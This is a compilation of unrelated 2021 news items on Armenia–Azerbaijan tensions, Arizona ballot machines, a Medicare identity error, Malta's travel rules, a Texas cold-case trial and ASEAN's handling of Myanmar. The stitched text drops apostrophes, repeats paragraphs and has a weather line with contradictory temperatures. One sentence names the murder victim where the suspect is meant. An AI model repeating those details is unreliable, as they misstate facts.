In this context, Nikol Pashinian underscored that the conflict is not resolved and calls for a comprehensive settlement, which can only be achieved in the Minsk Group co-chairing format. The U.S. side agreed with the acting prime ministers view that the status quo cannot be stable and the Minsk Group Co-Chairs need a clear agenda conducive to successful negotiations, the report concluded.

In a separate development Pashinian has sent a congratulatory message to French President Emmanuel Macron on the occasion of the National Day of France marked on July 14.

In his message the Armenian leader said that Yerevan appreciates the unbiased position of friendly France and its assistance provided to Armenia and Nagorno-Karabakh.

Armenia highly values you countrys strong commitment, as a Minsk Group co-chair, to brokering a peaceful settlement of the Nagorno-Karabakh conflict. We appreciate Frances efforts to return Armenian prisoners of war from Azerbaijan and safeguard the Armenian cultural heritage in Nagorno-Karabakh. I look forward to hosting you in Armenia in the near future as part of a state visit, Pashinian wrote to Macron, according to his press office.
Armenias Ministry of Defense said the incident happened at the Yeraskh section of the Armenian border with Azerbaijans exclave of Nakhijevan on Wednesday morning.

It accused Azerbaijans armed forces of attempting to advance their military posts closer to Armenian positions by conducting fortification work with the use of engineering machinery. After the Armenian army undertook measures to force Azerbaijani servicemen to stop that work, the Azerbaijani military opened targeted fire on the Armenian positions. As a result of the shoot-out, one Armenian serviceman was fatally wounded. Azerbaijan also suffered casualties, the Armenian Defense Ministry said in a statement.

Armenias Defense Ministry strongly condemns another provocation of the Azerbaijani side and warns that such provocations will face fierce counteraction. All responsibility for further escalation of the situation lies with the military-political leadership of Azerbaijan, it added.

Azerbaijans Defense Ministry, for its part, accused the Armenian armed forces of firing at the military positions of the Azerbaijani army in the territory of Nakhichevan, as a result of which one Azerbaijani serviceman was wounded. The Azerbaijani side said that the situation in the mentioned direction was stabilized after Azerbaijani forces returned fire.

The foreign ministries of Armenia and Azerbaijan also issued statements, exchanging blame for the incident.

Armenias Ministry of Foreign Affairs, in particular, accused Azerbaijan of trying to create new sources of tensions and undermining regional peace and security.

Azerbaijans Ministry of Foreign Affairs, for its part, condemned attempts of the Armenian side to disturb fragile peace in the region by means of regular shootings at Azerbaijani positions.

This is the second border incident in which an Armenian serviceman gets killed since Armenia accused Azerbaijan of advancing several kilometers into its sovereign territory at several border sections in May.

On May 25, Armenia claimed its soldier was killed in the countrys Gegharkunik district in a skirmish that Azerbaijan denied.

The tense situation comes eight months after the two South Caucasus neighbors ended a six-week war over Nagorno-Karabakh. The conflict, which claimed more than 6,000 lives, ended in November 2020 with a Moscow-brokered cease-fire that saw Armenia ceding swaths of territory that ethnic Armenians had controlled for decades.

Azerbaijan and Nagorno-Karabakhs ethnic Armenian forces accused each other of firing shots in the vicinity of Shushi (Susa) late on Tuesday. No casualties were reported by either side.
Armenia and Azerbaijan waged a 44-day war over Nagorno-Karabakh which claimed over 6,000 lives and ended in November 2020 with a Moscow-brokered cease-fire that saw Armenia ceding swaths of territory that ethnic Armenians had controlled for decades.

In the following months the Azerbaijani leader has sought a more comprehensive deal with Armenia that Baku hopes will put an end to what it views as Armenian territorial claims to Azerbaijan.

We are ready to start such work. But there is no official reaction from Armenia. Through unofficial channels we have been receiving information that Armenia is not ready for it. I think it will be a big mistake for them, Aliyev said on Wednesday, as quoted by Azerbaijani media.

The Azerbaijani leaders remarks came amid a fresh incident at the Armenian-Azerbaijani border in which Armenia said one of its servicemen was killed in a skirmish near Azerbaijans western exclave of Nakhichevan. Baku said one of its soldiers was wounded in a shootout with Armenian forces.

The two sides have blamed each other for the escalation at the border that has already been tense since May when Armenia accused Azerbaijan of advancing its troops several kilometers deep into its sovereign territory at several sections, a claim denied by Baku.

In his remarks during todays meeting with families of Azerbaijani soldiers killed and maimed during the armed conflict, Aliyev again insisted that the Nagorno-Karabakh conflict has been resolved and that there is no issue of the disputed regions status anymore.

The two sides must recognize each others territorial integrity, recognize the borders and get down to the work on border delimitation, said Aliyev, stressing that international organizations hail the idea of delimitation and demarcation of the Soviet-era administrative border between Armenia and Azerbaijan.

Stressing that Azerbaijan speaks from the position of the victor in last years war, Aliyev warned: If Armenia does not want this, its up to it. But Armenia should think carefully, because otherwise it will be too late.

In a phone call with United States Secretary of State Antony Blinken late on Tuesday Armenian Prime Minister Nikol Pashinian, in particular, stressed that the [Nagorno-Karabakh] conflict is not resolved and that it calls for a comprehensive settlement, which can only be achieved in the Minsk Group co-chairing format.

The terms of the November 10, 2020 ceasefire deal signed by Armenia, Azerbaijan and Russia also envisage the opening of regional roads and other transport links. In particular, under the document that brought Russian peacekeepers to Nagorno-Karabakh and provided for the Armenian-populated regions link with Armenia, Yerevan is to allow Baku to have a transport link with its exclave of Nakhichevan.

Baku insists that this link should have the status of a corridor. But Armenian Prime Minister Pashinian has repeatedly denied that the future transport link between Azerbaijan and its western exclave will have such a status.

In his remarks today Aliyev again referred to Armenias Syunik province, which is called Zangezur in Azerbaijan, as to historical Azerbaijani territory.

We will return there and we are returning there. Nobody can stop us. We will definitely return there because there is no other way. After the opening of all transport links we will, of course, return there, and the Azerbaijani population will return to the lands of their ancestors. A tripartite statement of November 10 says that all refugees must return to their homeland. Our native land is Zangezur, our native land is Goycha (Sevan) and Irevan (Yerevan), the Azerbaijani president said.

This is not the first time Aliyev raises the issue of historical Azerbaijani territories in Armenia. Official Yerevan has condemned such rhetoric before, saying that it amounts to territorial claims.
Armenias acting Deputy Prime Minister Tigran Avinian told reporters in Yerevan on Wednesday that Azerbaijan continues to create tensions at the Armenian-Azerbaijani border.

Sooner or later, one day the delimitation and demarcation of our borders with all neighbors must take place, but, so to speak, grossly violating our borders and being located inside our borders, even trying to blackmail us into some action is not an efficient way, it cannot give any result. Such an approach and method of blackmail cannot be acceptable to the authorities of the Republic of Armenia and the people of the Republic of Armenia, Avinian said.

The Armenian official said that Yerevan also finds its necessary to hold negotiations. But the first issue to be discussed is the withdrawal of Azerbaijani troops from the territory of the Republic of Armenia, he added.

Avinian stressed that everything must be done to resolve the issue diplomatically.

Avinians remarks came as a reaction to Azerbaijani President Ilham Aliyevs statement that Armenia, which suffered a military defeat in last years war in Nagorno-Karabakh, is reluctant to get down to work on a peace treaty that Baku hopes will put an end to what it views as Armenian territorial claims to Azerbaijan.

We are ready to start such work. But there is no official reaction from Armenia. Through unofficial channels we have been receiving information that Armenia is not ready for it. I think it will be a big mistake for them, Aliyev said on Wednesday, as quoted by Azerbaijani media.

The Azerbaijani leaders remarks came amid a fresh incident at the Armenian-Azerbaijani border in which Armenia said one of its servicemen was killed in a skirmish near Azerbaijans western exclave of Nakhichevan. Baku said one of its soldiers was wounded in a shootout with Armenian forces.

The two sides have blamed each other for the escalation at the border that has already been tense since May when Armenia accused Azerbaijan of advancing its troops several kilometers deep into its sovereign territory at several sections, a claim denied by Baku.

Eight months after Armenia and Azerbaijan ended a six-week war over Nagorno-Karabakh. The conflict, which claimed over 6,000 lives, ended in November 2020 with a Moscow-brokered cease-fire that saw Armenia ceding swaths of territory that ethnic Armenians had controlled for decades.

In his remarks during todays meeting with families of Azerbaijani soldiers killed and maimed during the armed conflict, Aliyev again insisted that the Nagorno-Karabakh conflict has been resolved and that there is no issue of the disputed regions status anymore.

The two sides must recognize each others territorial integrity, recognize the borders and get down to the work on border delimitation, said Aliyev, stressing that international organizations hail the idea of delimitation and demarcation of the Soviet-era administrative border between Armenia and Azerbaijan.

Stressing that Azerbaijan speaks from the position of the victor in last years war, Aliyev warned: If Armenia does not want this, its up to it. But Armenia should think carefully, because otherwise it will be too late.

Reacting to this statement, Avinian said that the issue of Nagorno-Karabakhs status is among priorities for Yerevan. As long as the issue of the status of Artsakh [the Armenian name for Nagorno-Karabakh] is not finally resolved and the talks within the OSCE Minsk Group are not resumed, I think it will be difficult to talk about other solutions and other approaches. We attach great importance to the negotiation process, as well as to certain positive changes that exist in the negotiation process on unblocking [transport links], but all final solutions, peace agreements, treaties, border delimitation and demarcation contain certain snags, and the first most important issue is the status of Artsakh and the people of Artsakh, Armenias acting deputy prime minister said.
GILBERT, AZ (3TV/CBS 5) - 3 On Your Side has a pretty good track record for getting people their money back. But in this case, this viewer says we did a lot more than that. In fact, he claims we just may have saved his life.

Michael Johnson is alive and well. In fact, 3 On Your Side was there when the Gilbert man walked into this CVS to obtain his life-saving medication. That's because, for months, Johnson had been deemed "dead," at least on paper anyway. "Dec. 18 was my official death date and right now, I got a call from Medicare this morning. Medicare has finally cleared up," said Johnson.

Up until recently, Medicare had considered the Gilbert man deceased, preventing him from picking up insulin. However, with the help of 3 On Your Side, Johnson says things are back to normal. "I feel great. It's been a long road. It's been close to seven months of telling people I'm still alive, and obviously, I'm still here," Johnson said.

In a few previous 3 On Your Side reports, Johnson explained how a brief stay at a California hospital turned his life upside down. That's because hospital staff made a simple clerical error by confusing his name, Michael Johnson, with another patient named Michael John, who later died at the same hospital.

"They mistakenly used his name, his birthdate and put it onto my medical, my Medicare specifically information. At the hospital, so that my Medicare and my insurance kind of took over his costs," said Johnson.

The identity mix-up caused a huge financial mess for Johnson, who received bills for the deceased man totaling more than $100,000. And to complicate matters, the incident has kept Johnson from obtaining his prescriptions like insulin. But that all changed once 3 On Your Side got involved. "In the short amount of time that 3 On Your Side has been able to kind of work with me and it's been pretty fast," said Johnson.

3 On Your Side asked Medicare, Social Security, CVS and the hospital to investigate and clear up the identity fiasco. And they did. In fact, 3 On Your Side was there when Johnson successfully picked up his meds.

"Are you glad you contacted 3 On Your Side and what do you think about 3 On Your Side?" asked Gary Harper. "3 On Your Side is awesome. I would say at this point, if I wouldn't have contacted 3 On Your Side, I wouldn't be able to pick up my medications today, period," Johnson replied.

3 On Your Side appreciates Medicare, Social Security, CVS and the St. Francis Medical Center for helping to resolve the matter. And we're glad we were able to help Johnson, who has been fighting this issue for months and was almost out of insulin but got it resolved in just a nick of time.
Maricopa County won't re-use subpoenaed ballot counters The County says it will not use the tabulation equipment subpoenaed by the Arizona Senate in any future elections.

PHOENIX (3TV/CBS 5) -- The Maricopa County Board of Supervisors has secured new election equipment to replace the former tabulation machines subpoenaed by the Arizona Senate. The approval for the new equipment passed after the board voted unanimously (5-0) on Wednesday to replace the machines.

According to a county spokesperson, the board was notified by Arizona Secretary of State Katie Hobbs that the subpoenaed equipment would not be certified for use in future elections. The Department of Homeland Security considers election equipment critical infrastructure, stating that the subpoenaed machines must never be used again.

State Senate Republicans used their subpoena power to take control of Maricopa Countys voting machines after former President Donald Trump claimed without evidence that the 2020 election was rigged against him in Arizona and other battleground states.

The Senate hired Cyber Ninjas, a small cybersecurity consulting firm led by a Trump supporter who has spread conspiracy theories backing Trumps false claims of fraud, to recount all 2.1 million ballots and forensically review voting machines, servers and other data. The firm had no prior experience in elections, and experts in election administration say its not following reliable procedures.

There is no constitutional mechanism for President Joe Bidens victory to be overturned, but Trump and many of his supporters hope the Arizona audit will support his fraud claims and lead to similar reviews elsewhere.

The county had leased vote-counting machines from Dominion Voting Systems Inc. through 2022. It agreed to pay $2.8 million for Dominion to supply new machines for the 2022 midterm elections and smaller local contests. That includes 385 precinct tabulators, which count ballots as theyre turned in at polling places; nine central tabulators, which primarily count early ballots; two servers; and other workstations.

"Our highest priority is conducting secure and accurate elections," said Board of Supervisors Chairman Jack Sellers, District 1. "This amendment ensures we have the equipment to do so moving forward."

County officials said they will still seek bids as planned for a new vote-counting contract after 2022.

"Imagine leasing a car and then loaning it to someone who totals it. You're still on the hook to pay off the wrecked car. Plus, you need a new car. That's basically what we're doing with this amendment," explained Sellers. "We're getting the car that will get us through the next year and a half, and then we'll reevaluate."

In a statement, Supervisor Steve Gallardo said that the state Senate should be held liable to subsidize what he called, "unfounded claims and conspiracy theories about the presidential election." It's not yet known if the county will seek reimbursement for the estimated $3 million worth of new equipment.

"There was no evidence of voter fraud found whatsoever and it has always been my top priority to ensure our elections are fair and free," Gallardo added.

In the partisan audit, the hand-count of ballots, which focused on tallying votes in the races for president and U.S. Senate, has wrapped up. Auditors this week plan to use machines to recount the number of ballots that were turned in. Senate President Karen Fann has said the Cyber Ninjas tally of votes did not match the countys official total, but she has not said how far apart they are.

Meanwhile, scrutiny of the audit is intensifying. The U.S. House Oversight and Reform Committee sent a letter Wednesday to Cyber Ninjas CEO Doug Logan demanding materials including financial records and communications with Trump, several of his allies and prominent supporters of stop the steal conspiracy theories.

The Committee is seeking to determine whether the privately funded audit conducted by your company in Arizona protects the right to vote or is instead an effort to promote baseless conspiracy theories, undermine confidence in Americas elections, and reverse the result of a free and fair election for partisan gain, wrote Democratic Reps. Carolyn Maloney of New York, the committee chairwoman, and Jamie Raskin of Maryland, chairman of the Subcommittee on Civil Rights and Civil Liberties.
PHOENIX (3TV/CBS 5) -- Some Arizona mayors are in support of Amtrak building a new passenger rail line service between Tucson and Phoenix, making it easier to Arizonans to travel back and forth. The new service would help build up the economy through the region, increase travel options, and help to reduce the carbon footprint.

A letter was sent to Arizona Congressional Delegates, including Kyrsten Sinema, Raul M Grijalva, Andy Biggs, Ruben Gallego, Mark Kelly, Debbie Lesko, Greg Stanton, and more. Along with Romero, mayors from Phoenix, Goodyear, Mesa, Glendale, Avondale, Chandler, Oro Valley, South Tucson, Marana, and Sahuarita signed the letter.

"We have not had passenger rail service between Tucson and Phoenix since the mid-90s. This new service will yield important economic benefits throughout the region, increase travel options for millions of Arizonans, and help us reduce our carbon footprint," says Tucson Mayor Regina Romero. She says the funding for this project is part of the proposed bi-partisan infrastructure bill that will allow Arizona to have a rail service like other states.

The trip between Phoenix to Tucson, according to Amtrak, would be about 2.5 hours. Between Tucson-Phoenix-Buckeye, there would be three daily trips offered and the service alone would create $77.7 million a year, along with $1.9 billion in economic activity. In addition to Tucson and Phoenix, the Amtrak service will create a direct connection between Los Angeles and Tucson. A trip between Los Angeles and Phoenix would be about 7.43 hours. Los Angeles to Tucson would be about ten hours.

"This new corridor links the rapidly growing Phoenix and Tucson areas with daily multi-frequency service between downtown Tucson through Phoenix to the western suburb of Buckeye. It also links Phoenix and Tucson to Los Angeles with increased daily service. Visit the Amtrak Connects US website for more details on Amtrak's vision to improve transportation across America," according to Amtrak.

New proposed stations include - Tucson, Marana, Coolidge, Queen Creek, Tempe, Phoenix Sky Harbor Airport, Phoenix Downtown, Goodyear-Avondale, and Buckeye. More details and information can be found on Amtrak's website here.
Date rapes are hard to investigate and prosecute. A new Illinois bill would more clearly define consent in these cases
Bakersfield, CA (93308)

Today

Mainly clear. Low 79F. Winds NNE at 5 to 10 mph..

Tonight

Mainly clear. Low 79F. Winds NNE at 5 to 10 mph.
In this photo provided by the Monterey County Regional Fire District is the scene where a plane crashed into a home near Highway 68 in Monterey County, Calif., on Tuesday, July 13, 2021. A small plane crashed into a home starting a fire in the house that spread to nearby wild land. It is not yet known if people were inside the residence or how many people were on the plane, an official said. The twin-engine Cessna 421 crashed into a residential area after departing from the Monterey Regional Airport in Monterey, Calif.
Bluefield, WV (24701)

Today

Partly cloudy skies in the morning will give way to cloudy skies during the afternoon. A stray shower or thunderstorm is possible. High 79F. Winds light and variable..

Tonight

Overcast. A stray shower or thunderstorm is possible. Low 61F. Winds light and variable.
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A long-awaited new Arbys location for Southeast Texas is now open in Lumberton.

Aspire2B, which holds and operates Arbys, Buffalo Wild Wings and Rusty Taco locations in Southeast Texas, acquired the former Wienerschnitzel building at 190 South Main Street and began remodeling it in late 2020.

It officially opened its doors and drive-thru to customers on Monday after spending the last several weeks training staff.

Aspire2B started out 2020 with plans to expand various franchise locations across Southeast Texas and bordering areas of Louisiana, but the global COVID-19 pandemic made it adapt plans.

Now, the company is in the middle of developing a new Arbys location and Buffalo Wild Wings in Lake Charles, Louisiana.

Representatives with the company previously told the Enterprise there could be more Arbys locations developed in the near future, including in north Beaumont.

A favorite Mexican food stop in Port Arthur also opened a new Beaumont location over the weekend.

El Viejo Tony Bar and Grill Beaumont welcomed guests on Friday after months of work transitioning the former Fuddruckers location adjacent to Parkdale Mall on Dowlen Road.

Owner and developer Warren Pena and his partners have been working to create a Beaumont counterpart to El Viejo Tony in Port Arthur since mid-2020 and had originally planned on hosting an opening sometime in January.

The property is owned by Parkdale Malls parent company, CBL Properties, which retains lease agreements with tenants operating on the property.

The property was vacant for a few months after Fuddruckers and Lubys parent company went bankrupt and consolidated several of its restaurants.

Pena said that the property had always appealed to him as the perfect spot to launch a new project like El Viejo.

He said guests can expect the kind of quality menu that a has won fans with in Port Arthur, but the new location wont just be a run-of-the-mill Mexican restaurant.

Along with partner Jose Tony Garcia , Pena is partnering with Joe Aref and Juana Magana on the new development.

Tia Juanitas, the Beaumont-based Mexi-Cajun favorite, has now opened its seventh location.

This time, the chain has continued its expansion into East Texas with a Henderson store that officially opened to customers Monday. It is a continuation of Tia Juanitas aggressive growth over the past two years, despite some hiccups from the pandemic. Owner Ricky Martinez and his partners opened a new location in Winnie at the end of 2019 and a Lufkin and Orange store in 2020.

The Beaumont VA Outpatient Clinic is actively recruiting volunteer drivers to transport veterans to and from medical appointments.

Drivers would be using vans maintained by the Houston VA to drive patients from the Beaumont Outpatient Clinic to and from the main VA Medical Center in Houston.

Volunteers must have valid drivers license, proof of current insurance, a safe driving record and a clear background check. Applicants must also pass a physical exam.

Interested applicants can contact the Houston VA Voluntary Service Office at 713-794-7135 or vhahouvolunteer@va.gov.

jacob.dick@beaumontenterprise.com

twitter.com/jd_journalism
GUATEMALA CITY (AP)  Guatemalas consulate in Tucson, Arizona, said Wednesday it has identified 456 unaccompanied Guatemalan minors, most between the ages of 7 and 17, who had been found by U.S. Border Patrol officers so far in July.

U.S. officials often ask home-country consulates to identify minors.

The Guatemalan Foreign Relations Ministry said Wednesday that the children were found in several Arizona border communities, including Sasabe, Naco and Nogales.

Each of those communities has a Mexican town of the same name on the other side of the border. Monday and Tuesday were particularly busy, with 80 kids identified.

The minors had entered the United States without proper documents. They were mainly from the heavily indigenous and rural provinces of Huehuetenango, San Marcos and Quiche.

Ursula Roldan, who researches migration at the Rafael Landivar University, said the number seems very high in such a short span of time."

I think it has to do with family reunification, Roldan said. I think the immigrant smugglers are hurrying things up because there has been talk of investigating the smugglers' structures."

Unaccompanied minors who make it into the U.S. are sometimes placed with relatives there. But the Guatemalan government says that so far this year, 2,873 unaccompanied minors have been deported from Mexico and the United States.
AUGUSTA, Maine (AP)  A group of small, rural hospitals in Maine is going to receive more than $4.6 million from the federal government to help manage the coronavirus pandemic.

The U.S. Department of Health and Human Services said Tuesday it is providing the money to 18 hospitals for COVID-19 testing and mitigation. The money is through the agency's Small Rural Hospital Improvement Plan.

Health and Human Services Secretary Xavier Becerra said the administration recognizes the important role that small rural hospitals have in closing the equity gap and ensuring that rural Americans can protect themselves and their communities" from the coronavirus.

Todays funding will help small rural hospitals continue to serve their communities in this critical role by expanding their COVID-19 testing capacity and mitigation efforts," he said in a statement.

In other pandemic news in Maine:

THE NUMBERS

New cases of the coronavirus have crept up slightly in Maine over the past two weeks. However, they remain low.

The seven-day rolling average of daily new cases in Maine has risen over the past two weeks from 22.29 new cases per day on June 28 to 23.43 new cases per day on July 12. The seven-day rolling average of daily deaths in Maine did not increase over the past two weeks, going from 0.57 deaths per day on June 28 to 0.29 deaths per day on July 12.

The AP is using data collected by Johns Hopkins University Center for Systems Science and Engineering to measure outbreak caseloads and deaths across the United States.

More than two thirds of the state's eligible population is fully vaccinated against coronavirus. Maine officials said Wednesday there have been more than 69,000 reported cases of the virus and 867 deaths since the start of the pandemic.
VALLETTA, Malta (AP)  Malta has backed off a new rule that would have allowed only people with proof of having been vaccinated against the coronavirus to enter the country after the European Commission raised concerns that it might impede the right to free movement within the 27-nation bloc.

In a revised regulation issued late Tuesday, the Maltese government said people arriving without a recognized vaccination certificate would have to quarantine upon arrival in the Mediterranean island nation. Currently, Malta only recognizes vaccination certificates from Malta, the EU, the United Kingdom and Switzerland.

The government originally wanted to allow in only vaccinated visitors to curb a rise in COVID-19 cases. The vaccine requirement rule had been due to take effect Wednesday.

But European Commission spokesperson Christian Wigand told reporters this week that while EU member nations can put restrictions in place to protect public health, any such measure must be proportionate and non-discriminatory.

A vaccination certificate cannot be a precondition for the exercise of free movement, Wigand said during a news conference in Brussels. This is one of the main principles of the EU digital COVID certificate regulation.

He said the EU Commission had raised concerns with the Maltese government that its requirement could discriminate against those persons who are not fully vaccinated.

The Maltese government issued a legal notice late Tuesday with revised travel rules that came into effect on Wednesday. The notice lists countries from which people can travel to Malta. It says individuals a recognized COVID-19 vaccination certificate can enter the country freely, while those without one must quarantine for 14 days.

The Maltese government didn't explain why it changed the regulation on the eve before it came into force.

But Thierry Breton, the European commissioner for internal markets, said Tuesday that he had spoken with Prime Minister Robert Abela on the proportionality of specific travel measures to cope with variants. In a tweet, Breton said he was pleased with the evolution of the position of Maltese authorities.

The Malta Tourism Authority warned Wednesday that anyone arriving in Malta without proof of having received a European-approved vaccine would be forced to quarantine in a hotel and pay a minimum accommodation fee of 1,400 euros ($1,656) per room.

Anyone who cannot take a COVID-19 vaccine for medical reasons and children ages 5-11 are exempt from the quarantine but must present proof of a negative coronavirus test upon arrival. Children under age 5 dont need a test result or certificate.

Malta added 218 new cases over the past day to bring its official caseload to more than 31,000, while its official death toll stands at 420.
The murder trial for a Warren man believed to be tied to the slaying of a Silsbee woman has been pushed to at least later this summer.

The Jefferson County District Attorneys Office confirmed that the July trial date has been rescheduled until at least Aug. 2.

The district attorneys office was not able to confirm the exact reason for the change, which is not unusual in the summer months. This weeks court documents show that an attorney in the case was on vacation, which is sometimes a common factor for a delay.

Police used DNA to link Daniel Andrew MacGinnis to the 1988 killing of Patricia Ann Jacobs, of Silsbee.

Jacobs, 36, was reported missing on Oct. 6, 1988, after she failed to return home from work the night before. Her truck was found in the parking lot of the Silver Spur tavern in Hardin County the morning after. A short time later, body was found in the Neches River in Port Arthur.

An autopsy showed she had drowned but suffered blows to the head and had been in the water about 12 hours, The Enterprise previously reported. The death was investigated as a homicide.

MacGinnis, who denied involvement with the crime and is now in his 60s, was questioned at the time of the crime, but investigators initially found no link between the two, leaving the case open for decades.

In recent years, DNA from Jacobss clothing matched DNA taken from Jacobs in Texas and California, where he was convicted in previous attacks on women. DNA testing was not available to investigators at the time of the crime but later was performed after Jacobss daughter asked authorities to reopen the case.

In the years surrounding the slaying, MacGinnis also was convicted of sexual assault of a 19-year-old, forcibly raping a 35-year-old woman in California and found guilty in Texas of the attempted aggravated kidnapping of a 39-year-old woman.

MacGinnis is serving a life sentence, which he received in 2019 in Tyler County on charges of unlawful possession of a firearm by a felon. He also received a 99-year sentence at the time for possession of a controlled substance.

The sentence follows the 2004 shooting of his 60-year-old girlfriend Nelda Faye Widener. Wideners death originally was ruled a suicide and unchallenged until MacGinnis in recent years was linked to Jacobss case. The Texas Rangers are now reexamining Wideners death.

MacGinnis allegedly had an argument with Widener over money the day before she was found dead in her rural Jasper County home. She had signed $600 or $700 in checks to him, Lt. John Cooper of the Jasper County Sheriffs Office previously told The Enterprise.

Just the position of the body and the position of the gun looked suspicious to me, Lt. John Cooper of the Jasper County Sheriffs Office told The Enterprise in 2019.

According to previous Enterprise articles, Cooper and Jasper County Sheriff Mitchel Newman met with Joe Haralson of the Texas Rangers to discuss the case at the request of Wideners family.

We want this family to have justice, Haralson said in 2019. If she was in fact murdered, then we want to do whatever needs to be done to look at all the facts. We dont want to be centered on one person; we want to look at everything.

Other law enforcement agencies have since contacted Jefferson County to arrange for the transport of MacGinnis to their jurisdiction to question him about other unsolved crimes.

meagan.ellsworth@beaumontenterprise.com

twitter.com/megzmagpie
Megan Nagel/united States Fish A/NYT

HONOLULU (AP)  U.S. authorities launched an investigation and fined Louisiana tourists honeymooning in Hawaii after a video on social media showed a woman touching an endangered Hawaiian monk seal.

The couple were deeply sorry, a man identified as Stephen told the Honolulu Star-Advertiser for a story Tuesday. We love Hawaii and the culture. We didn't mean to offend anyone."
Santa Fe Mayor Jason Tabor apologized Wednesday after posting inaccurate details regarding the 2018 Santa Fe High School shooting on Facebook over the weekend, saying he was at a casino in Louisiana in straight up in party mode when he wrote the post.

Tabor said in a statement on Facebook that he was taking full responsibility for the post and that he would be seeking treatment for alcoholism.

IN TEXAS: Game Wardens report 7 drownings, 2 boating fatalities over Fourth of July weekend

On May 18, 2018, 13 people were injured and 10 were killed when a student opened fire in the high school.

In his original post, Tabor attributed a motive to the shooter and shared details about one victim's injuries, naming her as a specific target for the shooter, according to a screenshot obtained by KPRC.

Galveston County District Attorney Jack Roady told the Houston Chronicle's Alejandro Serrano that Tabor's post was false.

My only statement on the Mayors post is that the information he posted about the case is not accurate, Roady wrote in an e-mail, Serrano reports. And someone in his position has absolutely no business making a statement like that publicly.

Tabor blamed his post on drinking and withdrawal from medication.

TEXAS POLITICS: Abbott has colossal $55 million war chest for 2022 reelection bid

"I can say its not my proudest moment and I am embarrassed," Tabor wrote on Facebook. "I quit drinking for a year and thought I could beat it. Last September I checked myself into rehab. They put me on medicine that really does help. I have been able to hold it in and I forgot my pill bottle. When the meds wore off it was like a freight train hit me with emotions. So that led to my stupid post about the shooting."

According to Serrano, Tabor took down the original post, apologized to a specific victim's family, and is planning on completing an Alcoholics Anonymous 12-step program.
Women in Yangon, Myanmar, carry torches as they protest the Feb. 1 military coup that overthrew the democratic government led by Aung San Suu Kyi, July 14, 2021.

The United States added its voice Wednesday to international calls pressing ASEAN to appoint a special envoy to Myanmar, with Secretary of State Antony Blinken saying the regional bloc had to act urgently to resolve a post-coup crisis there.

Blinkens call and a similar one made by the U.N. human rights chief last week came amid a nearly three-month delay in the Southeast Asian blocs appointment of an emissary, indicating that ASEANs role in resolving the crisis has been rendered ineffective, one analyst told BenarNews.

During Blinkens first meeting with his counterparts from the 10 member-states in the Association of Southeast Asian Nations, the secretary called on ASEAN to take joint action to urge the end of violence, the restoration of Burmas democratic transition and the release of all those unjustly detained, State Department spokesman Ned Price said in a statement.

The secretary said that ASEANs five-point consensus is an important step forward and urged ASEAN to take immediate action to hold the Burmese regime accountable to the consensus and to appoint a special envoy.

Blinken also stated that the United States stands with Southeast Asian claimants in the face of Chinas coercion and unlawful maritime claims in the South China Sea.

At a special summit in Jakarta on April 24, ASEANs members adopted a five-point consensus on Myanmar, which included calling for the appointment of a special envoy to Myanmar and an immediate end to violence.

Among statements or transcripts of speeches issued Wednesday by the foreign offices of ASEAN members the Philippines, Indonesia, Malaysia and Singapore, only the one from the Philippines directly stated Manilas support for appointing a special envoy to Myanmar. However, it did not urge more swift action on the appointment.

For his part, Malaysian Foreign Minister Hishammuddin Hussein told the meeting: Malaysia remains gravely concerned over the situation that has been unfolding over the recent months.

Malaysia reiterates our call for de-escalation of the situation in Myanmar as a matter of priority. We urge all parties to contribute to a conducive environment for national dialogue and reconciliation to take place, he said.

ASEAN has been widely criticized for not appointing a special envoy amid reports of dissension within the blocs ranks, even as nearly 900 people have been killed during anti-junta protests by Burmese security forces since the military toppled Aung San Suu Kyis elected government in a coup on Feb. 1.

Blinkens comments were a strong message not only to ASEAN but to Myanmar as well, because the junta-appointed foreign minister was present at Wednesdays video-meeting, said Hunter Marston, a researcher on Southeast Asia at the Australian National University.

Blinkens comments regarding Myanmar are significant because the junta-appointed Foreign Minister Wunna Maung Lwin was also present at the meeting, Marston told BenarNews.

So the statement was a direct U.S. message to the junta and ASEAN counterparts that the U.S. supports stronger ASEAN action to restore Myanmar democracy.

ASEANs failure to fully implement the consensus shows the members were wavering in their commitment to democracy in Myanmar, said Dinna Prapto Raharja, an international relations analyst at Synergy Policies, a Jakarta think-tank.

In my opinion, ASEAN has lost the momentum on appointing a special envoy. That ship has passed, Dinna told BenarNews.

ASEANs democratic-authoritarian split

ASEANs failure to appoint an envoy was likely caused by an internal split over which countrys nominee would get the post, Marston said.

In my view, the holdup reflects divisions between ASEANs democratic bloc  Indonesia, the Philippines and Singapore  and more authoritarian, military-ruled countries, namely Thailand, he said.

Marston was referring to how Thai Prime Minister Prayuth Chan-o-cha, a former army chief who engineered his own coup in 2014, is said to be close to the Myanmar military.

Marston said the two main contenders for the envoy role were Hassan Wirajuda, a former Indonesian foreign minister and Virasakdi Futrakul, a former Thai deputy foreign minister. A former Malaysian human rights commission chief, Razali Ismail, is being considered as an alternative.

The first two essentially mirror that democratic-authoritarian split, so indecision apparently revolves around whether to adopt kid gloves in dealing with the Myanmar military junta or taking a more ambitious, values-based approach in the form of Indonesias candidate for the job, Marston said.

Syed Hamid Albar, chairman of the Malaysian Advisory Group on Myanmar and a former foreign minister, believes Indonesias Wirajuda should be ASEAN envoy to Myanmar.

When Myanmar was transitioning to democracy [previously] it was trying to emulate the earlier Indonesian democratic model and Hassan was involved in a number of workshops and seminars for democracy in Myanmar, Hamid told BenarNews.

He has access and is a very good diplomat and negotiator.

Dinna of Synergy Policies said Indonesia should, of its own accord, take on a more prominent role on the Myanmar crisis resolution because it is a founding member of ASEAN and the regions largest country.

Basically, ASEAN can no longer be relied on in the case of Myanmar. Indonesia should take a bolder role because the other ASEAN countries will definitely not take that position, hence the impasse, she said.

South China Sea

Meanwhile, the Philippines welcomed Blinkens rejection of Chinas expansive maritime claims in the contested South China Sea.

Philippine Foreign Secretary Teodoro Locsin Jr. said he welcomed U.S. support for the 2016 verdict by the Permanent Court of Arbitration in The Hague that ruled in favor of the Philippines and against Chinas vast claims to the waterway.

It is binding international law and the most authoritative application of UNCLOS on the maritime entitlements of features in the South China Sea, he said, referring to the United Nations Convention on the Law of the Sea.

As such, it contributes to the rules-based order in ASEAN and benefits all the countries that use the vital artery that is the South China Sea. The rest is bluster.

Beijing claims almost all of the South China Sea, while the Philippines, Brunei, Malaysia, Vietnam  ASEAN members  and Taiwan have their own territorial claims.

Indonesia does not regard itself as a party to territorial disputes over the South China Sea, but Beijing claims historic rights to parts of the maritime region that overlap Indonesias exclusive economic zone.

Jason Gutierrez in Manila, Muzliza Mustafa in Kuala Lumpur and Nani Yusof in Washington contributed to this report.
